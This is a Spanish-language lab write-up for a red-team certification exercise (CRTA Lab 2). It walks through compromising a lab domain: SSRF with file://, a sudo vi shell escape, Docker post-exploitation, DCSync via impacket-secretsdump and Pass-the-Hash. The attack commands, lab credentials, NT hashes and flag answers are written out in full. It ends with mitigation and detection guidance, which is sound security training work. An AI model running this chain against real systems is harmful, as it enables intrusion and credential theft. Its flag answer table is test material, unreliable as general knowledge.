← Writeups

CRTA Lab 2 — SSRF file:// → GTFOBins → DCSync (ent.corp)

Cadena de compromiso del dominio ent.corp: SSRF con file:// en Flask → credenciales en claro → SSH → escalada vía sudo vi (GTFOBins) → pivot desde Docker y logs → elFinder expuesto → sync_user con DCSync → Pass-the-Hash sobre el DC. Con guardrails de mitigación.

CRTA Lab 2 — SSRF file:// → GTFOBins → DCSync (ent.corp)

Laboratorio: CRTA (Certified Red Team Analyst) — CWL Objetivo: comprometer el dominio ent.corp. Target inicial 172.26.10.11, DC 10.10.10.100.


1. Executive Summary & Attack Surface

El laboratorio combina una cadena web→host→AD con dos técnicas distintivas: un SSRF que lee el filesystem del host a través de Docker (file:///hostfs/etc/passwd) y un DCSync ejecutado con un usuario de replicación descubierto en un gestor de archivos web expuesto. El eslabón más fuerte del dominio no es un hash: es el permiso Ds-Replication-Get-Changes de sync_user, que convierte una credencial cualquiera en el contenido entero del NTDS.dit.

Cadena de ataque

Cadena de ataque CRTA2 ent.corp Cadena de compromiso desde el SSRF file:// en Flask, pasando por credenciales en claro y SSH, escalada con sudo vi, acceso a Docker, descubrimiento de la red interna y elFinder, hasta un DCSync y Pass-the-Hash sobre el Domain Controller. EXTERNAL HOST / DOCKER ACTIVE DIRECTORY SSRF · FILE:// SSH · CREDS GTFOBINS DOCKER ELFINDER DCSYNC PASS-THE-HASH OSINT nmap recon 172.26.10.11 · 23100/8091 WEB Flask SSRF file:///hostfs SSH SSH app-admin @dmin@123 SUDO sudo vi · root :!/bin/bash DKR Docker HotHost hothost.json · assets WEB elFinder AD_Resources.txt AD DCSync sync_user · krbtgt SMB Pass-the-Hash C$ · secret.xml LEGEND Técnica focal Credenciales / datos Acceso / host Flujo ataque
Fig. 1 — El SSRF `file:///hostfs` escapa Docker; el permiso de replicación de `sync_user` convierte cualquier credencial en DCSync.

2. Privilege Escalation & Lateral Movement Path

2.1 Externos — SSRF que lee el host a través del contenedor

openvpn --config bob-string.ovpn          # IP atacante 192.168.90.12/24 (tun0)
nmap -sn 172.26.10.0/24                   # único host: 172.26.10.11
nmap -sV -sC -p- 172.26.10.11 --min-rate 5000 -oN nmap_full.txt
Puerto Servicio
22/tcp OpenSSH
23100/tcp Python Flask (Werkzeug 3.1.3)
8091/tcp Node.js Express — "HotHost monitoring"

La app Flask tiene un endpoint /fetch?url= que devuelve el contenido de cualquier URL — SSRF puro. La prueba de file:// revela que corre en Docker con el filesystem del host montado en /hostfs:

curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd"
# app-admin:x:1001:1001::/home/app-admin:/bin/bash

curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/app-config"
# app-admin : @dmin@123

Root cause: el endpoint acepta cualquier esquema (file://) y el contenedor monta / del host en /hostfs. Un SSRF nunca es solo HTTP.

2.2 Escalada vertical — sudo vi (GTFOBins)

ssh app-admin@172.26.10.11
sudo -l
# (ALL : ALL) NOPASSWD: /usr/bin/vi
sudo /usr/bin/vi -c ':!/bin/bash'   # → shell root

Root cause: vi en sudoers con (ALL : ALL) NOPASSWD — un escape de editor clásico (GTFOBins). Con root, acceso directo a Docker.

2.3 Post-explotación — HotHost, hashes y el descubrimiento de la red interna

docker exec -it hot_1 /bin/sh
cat /var/lib/hothost/data/hothost.json
# "admin" : 665a26fad71ea9ef3edf5f33195d4b31  (MD5 de "Very3stroungPassword")

docker exec hot_1 env
# HOTHOST_WEB_ADMIN_PASSWORD=Very3stroungPassword

# Assets del frontend: credenciales de prueba en "dummy.css"
/code/frontend/dist/assets/dummy.css
# --db-user: "db_admin"; --db-pass: "DB_P@ssw0rd!"

# /var/log/auth.log → conexiones SSH desde la red interna
cat /var/log/auth.log | grep "Accepted"
# 10.10.10.20

Trampa de la flag (codificación): para la credencial de la DB, la respuesta correcta es el Base64 directo del texto plano (DB_P@ssw0rd! → REJfUEBzc3cwcmQh), no el hash MD5 convertido a Base64. Verificar siempre qué representación pide la pregunta.

2.4 Pivote a la red interna — elFinder expuesto

nmap -sn 10.10.10.0/24    # 10.10.10.20 (Apache 2.4.58) · 10.10.10.100 (DC ent.corp)
gobuster dir -u http://10.10.10.20 -w /usr/share/wordlists/dirb/common.txt
# /elfinder/
curl http://10.10.10.20/elfinder/files/AD_Resources.txt
# sync_user@ent.corp:Summer@2025

Root cause: un gestor de archivos web sin autenticación lista el directorio de archivos — un vector de filtración subestimado. El nombre sync_user delata su propósito: cuenta de sincronización de directorio.

2.5 DCSync — el permiso vale más que el hash

nmap -sV -p 445,88,389,636 10.10.10.100   # SMB, Kerberos, LDAP, LDAPS → DC
impacket-secretsdump ent.corp/sync_user:'Summer@2025'@10.10.10.100
krbtgt:502:...:36405f88da713c31bbff52e57aea1f86:::
Administrator:500:...:3d15cb1141d579823f8bb08f1f23e316:::

Root cause del eslabón crítico: sync_user tiene Ds-Replication-Get-Changes (+ -All), el permiso que autoriza a un principal a replicar el directorio. Cualquier cuenta con ese permiso puede volcar el NTDS.dit vía DRSUAPI sin tocar el DC.

2.6 Pass-the-Hash — exfiltración del objetivo

smbclient //10.10.10.100/C$ -U 'Administrator' --pw-nt-hash 3d15cb1141d579823f8bb08f1f23e316
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> get secret.xml.txt
<employee>
  <position>Director of Engineering</position>
  <name>Danielle M. Chen</name>
  <baseSalary>189500</baseSalary>
</employee>

2.7 Flags

# Pregunta Respuesta
1 Puerto del servicio de monitoreo 8091
2 Directorio web con info sensible assets
3 Base64 de db-pass credentials REJfUEBzc3cwcmQh
5 Ruta web que revela los system files pug
6 secretToken Monitor the system files
7 Payload para leer /etc/passwd del host file:///hostfs/etc/passwd
8 Credenciales de app-admin @dmin@123
9 Comando sudo de app-admin /usr/bin/vi
10 IP del log 10.10.10.20
11 Versión de servicio web en 10.10.10.20 2.4.58
12 URL con credenciales de sync_user http://10.10.10.20/elfinder/files/AD_Resources.txt
13 Password de sync_user Summer@2025
14 IP del DC 10.10.10.100
15 NT hash de krbtgt 36405f88da713c31bbff52e57aea1f86
16 Directorio del xml sensible C:\Users\Administrator\Desktop
17 Base salary del Director of Engineering 189500

3. Mitigation & Guardrails

3.1 Por eslabón

Eslabón Root cause Guardrail
SSRF file:// en Flask Acepta esquemas arbitrarios + montaje de host en contenedor Allowlist de esquemas (solo http(s) + allowlist de hosts); nunca montar / del host en el contenedor
@dmin@123 en /etc/app-config Credencial en claro en archivo de sistema Secretos en gestor (Vault/SSM); rotación
sudo vi (ALL:NOPASSWD) Editor con NOPASSWD y ALL:ALL Restringir sudoers a comandos específicos sin escape; secure_path; revisar GTFOBins
Root → Docker Usuario del host en grupo docker o root Separación de contenedores; mínimo privilegio de docker
dummy.css con credenciales Credenciales de prueba en assets estáticos Secret scanning + revisión de assets; nunca credenciales reales de prueba
elFinder sin auth Gestor de archivos web expuesto Autenticación + ACL por usuario; lista de archivos bloqueada
sync_user con replicación Permiso Ds-Replication-Get-Changes en una cuenta funcional Restringir replicación a cuentas gMSA de DC sincronizadoras; monitorear 4662/DRSUAPI
Pass-the-Hash NTLM en la red Deshabilitar NTLM cuando sea posible (KB2871997, RestrictNTLM), Protected Users, LAPS

3.2 Detección

Señal Fuente
file:// en parámetros URL WAF / logs de la app (esquemas inesperados)
sudo vi invocado por un usuario no-admin logs PAM/sudo (sudo -l + journalctl)
docker exec no interactivo auditd / Falco en el host
DCSync (replicación de un principal no DC) Event 4662 con GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes), userName != $
NTLM sobre SMB a C$ con hash 4624 tipo 3, Network logon con NTLM

3.3 Orden de prioridad

  1. Restringir sync_user (quitar replicación) y monitorear 4662/DRSUAPI — corta el DCSync.
  2. Endurecer el SSRF (solo http(s) + allowlist) y desmontar /hostfs.
  3. Corregir sudoers (vi sin NTLM → comando acotado) y rotar credenciales en claro.
  4. Asegurar elFinder y revisar assets estáticos.
  5. Rotar krbtgt y tratar el compromiso como domain compromise.